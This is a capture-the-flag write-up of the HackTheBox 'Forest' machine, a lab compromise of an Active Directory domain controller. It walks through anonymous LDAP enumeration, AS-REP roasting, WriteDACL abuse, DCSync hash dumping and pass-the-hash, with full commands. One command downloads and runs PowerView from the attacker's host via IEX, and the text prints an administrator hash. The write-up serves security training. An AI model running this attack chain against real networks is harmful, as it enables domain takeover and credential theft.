Forest – HackTheBox Writeup
Machine Name: Forest
IP: 10.10.10.161
Difficulty: Easy
Summary
Forest is a easy machine that starts with enumerating usernames through LDAP and performing Kerberoasting on that user. After cracking the TGT hash, we obtain the user shell. The privilege escalation involved mapping the Active Directory domain and understanding the group memberships and permissions that could be exploited. WriteDACL permissions were discovered for one of the groups which was abused to perform the DCSync attack to dump the hashes and finally pass them to gain the administrator shell.
Information Gathering
I scanned for all ports before running a service scan to save time. Nmap scan shows numerous ports to be open. The operating system is obviously Windows since ports such as kerberos, ldap, winrm are open.
Next, I performed a service scan on these ports and observed that ports 53 (DNS), 88 (Kerberos), 389 (LDAP), 445 (SMB), 636 (LDAP over SSL), 3268 (Global catalog LDAP port), 3269 (Global catalog LDAP over SSL) are open which indicate that the machine is a domain controller. The output provides domain-related information, including the domain name “htb.local,” forest name “htb.local,” and the FQDN “FOREST.htb.local”.
The port 5985 is also open, which means, if we obtain user credentials, we may gain a WinRM shell.
LDAP
I used the “ldapsearch” tool to check if anonymous binds are allowed. I performed a simple LDAP bind operation without providing any credentials and got the search results, which means that anonymous bind is allowed.
ldapsearch -H ldap://10.10.10.161 -x -b 'dc=htb,dc=local' -s base # -x for anonymous auth, -b to specify base DC, -s for scope
I enumerated further with the “windapsearch” tool for usernames, computers, and groups.
windapsearch -d htb.local --dc 10.10.10.161 -m users --attrs samaccountname | grep -i samaccountname windapsearch -d htb.local --dc 10.10.10.161 -m computers windapsearch -d htb.local --dc 10.10.10.161 -m groups | grep cn | awk -F\: '{print $2}'
We can also perform the same with RPCclient.
rpcclient -U "" -N 10.10.10.161 rpcclient $> enumdomusers rpcclient $> enumdomgroups
We can query the group and its members.
rpcclient $> querygroup 0x200 rpcclient $> querygroupmem 0x200 rpcclient $> queryuser 0x1f4
From the above outputs, we found a service account called “svc-alfresco”. Searching online, I found that this service does not need Kerberos preauthentication option.
This means we can request the encrypted TGT for svs-alfresco and brute-force the NTLM hash to login as svc-alfresco.
AS-REP Roast (Kerberoasting)
I’ve explained this previously in the Scrambled Writeup.
In a nutshell, Active Directory environments use Kerberos for authentication. When a user logs in, the credentials are sent to the Key Distribution Centre (KDC), and they receive a TGT, which serves as a ticket to request service tickets to access various resources within the network. By default, user accounts in AD use Pre-Authentication where the password is encrypted with a timestamp and sent to the KDC. The KDC verifies the encrypted password before issuing the TGT.
Kerberoasting attack is possible when the pre-authentication is disabled. The attacker requests a TGT for a specific user account from the KDC without providing the pre-authentication data. The KDC responds with the encrypted TGT.
Since we know that the service user svc-alfresco does not require Kerberos pre-authentication, we can check using impacket’s GetNPUsers whether the KDC responds with an encrypted TGT.
impacket-GetNPUsers -request -dc-ip 10.10.10.161 htb.local/ # OR, since we know the username: impacket-GetNPUsers -dc-ip 10.10.10.161 htb.local/svc-alfresco -no-pass
Indeed, the KDC responds with an encrypted TGT. I saved it to crack it using John.
john hash --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt
Gaining shell as Alfresco
Since we cracked the hash and found the password to be “s3rvice”, we can try to login to it using Evil-WinRM. I’ll first check if it is possible to gain a shell through WinRM through crackmapexec.
crackmapexec smb 10.10.10.161 -u svc-alfresco -p s3rvice crackmapexec winrm 10.10.10.161 -u svc-alfresco -p s3rvice
Crackmapexec was able to login using WinRM. Therefore, I used Evil-WinRM to login.
evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
Privilege Escalation to Administrator
I checked the group memberships of this user and found that the user is part of several non-default groups such as Remote Management Users, Account Operators, Privileged IT Accounts, and Service Accounts. The Remote Management Users group must have allowed Win-RM access.
whoami /all
Domain Enumeration with BloodHound
Since this is a Domain Controller, I’ll use BloodHound to visualize the domain, and identify hidden and unintented relationships within the Active Directory.
I’ll start a server and transfer Sharphound to collect data.
#Start a SMB server using impacket on attacker machine impacket-smbserver myserver $(pwd) -smb2support -user sid -password sid # Create a PSCredential object to access the share. $pass = convertto-securestring 'sid' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential('sid', $pass) New-PSDrive -Name sid -PSProvider FileSystem -Credential $cred -Root \\10.10.14.5\myserver cd sid:
I ran Sharphound from my server to collect all data.
.\SharpHound.exe -c all
The data can also be collected from bloodhound-python.
bloodhound-python -d htb.local -u svc-alfresco -p s3rvice -c all -gc forest.htb.local -ns 10.10.10.161 --zip
I clicked on svc-alfresco node and checked it’s properties. The node was a member of 9 groups. I clicked on 9 to view the graph. the user “svc-alfresco” is a member of “service accounts” group, which belongs to “privileged IT accounts” group, which is a member of “account operators” group.
The account operators group can create and modify users, and also add them to unprotected groups.
Note that Account Operators group has GenericAll permissions on Exchange Windows Permissions Group which means that it has full rights to the object to add users to a group. We can right click on BloodHound to check the PowerView commands to exploit this path.
Next, I tried to check the paths to high value targets and found that the “Exchange Windows Permissions” group has WriteDACL privilege on the domain. With this information, if we add a user to the Exchange Windows Permissions group, we can give DCSync access to dump the password hashes of domain controller.
I did the following:
- Add a user
- Add the user to Exchange Windows Permissions group.
- Add the user to Remote to have remote access.
net user sid haxothermic /add /domain net group "Exchange Windows Permissions" sid /add net localgroup "Remote Management Users" sid /add
To abuse the WriteDACL privilege, we can use PowerView to grant DCSync privileges to the newly created account. I downloaded and ran the PowerView script.
DCSync Attack
The DCSync attack attempts to mimic the Domain Controller so that the hashes can be retrieved. Here I download powerview to perform the DCSync attack.
sudo python3 -m http.server 80 IEX(New-Object Net.WebClient).downloadString('http://10.10.14.29/PowerView.ps1')
We need to add the credentials of the user as a powershell credential object.
$SecPassword = ConvertTo-SecureString 'haxothermic' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('htb.local\sid', $SecPassword) Add-DomainObjectAcl -Credential $Cred -TargetDomain htb.local -PrincipalIdentity 'sid' -Rights DCSync
An alternate tool to automate this process remotely is “aclpwn”. This would automatically detect the paths to domain admin and run the commands.
aclpwn -f sid -t htb.local --domain htb.local --server 10.10.10.161
Now, I dumped the hashes using secretsdump from impacket.
impacket-secretsdump sid@10.10.10.161
If we were exploiting this locally, we’d need to use mimikatz to do so.
Invoke-Mimikatz -Command '"lsadump::dcsync /user:sid"'
Quick Recap
- svc-alfresco is a member of Service Accounts group which belongs to Privileged IT Accounts group, which is a member of Account Operators group.
- In this case, since Account Operators group has GenericAll permissions on Exchange Windows Permissions group, we can create and modify users to the Exchange Windows Permissions group.
- The Exchange Windows Permissions group has WriteDACL privilege which means that any user in the group has the ability to modify security of the domain object.
- We abuse this by adding a user called “sid” to the Exchange Windows Permissions group and granting him DCSync access to dump password hashes.
Pass The Hash
We can confirm that the administrator hash is correct using crackmapexec.
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6::: crackmapexec smb 10.10.10.161 -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6
Indeed it is. Next, we can use psexec to pass the hash. The hash is in the format of LM:NTLM and since it doesn’t matter what we use to the LM part, I can just use the same as the NTLM hash in the LM part of the entire hash.
Note: Impacket’s PSexec is similar to microsoft’s PSExec but it uploads a randomly named binary to evade AV and EDR.
impacket-psexec administrator@10.10.10.161 -hashes 32693b11e6aa90eb43d32c72a07ceea6:32693b11e6aa90eb43d32c72a07ceea6
The same can be done using Evil-WinRM.
evil-winrm -i 10.10.10.161 -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6
Pwned!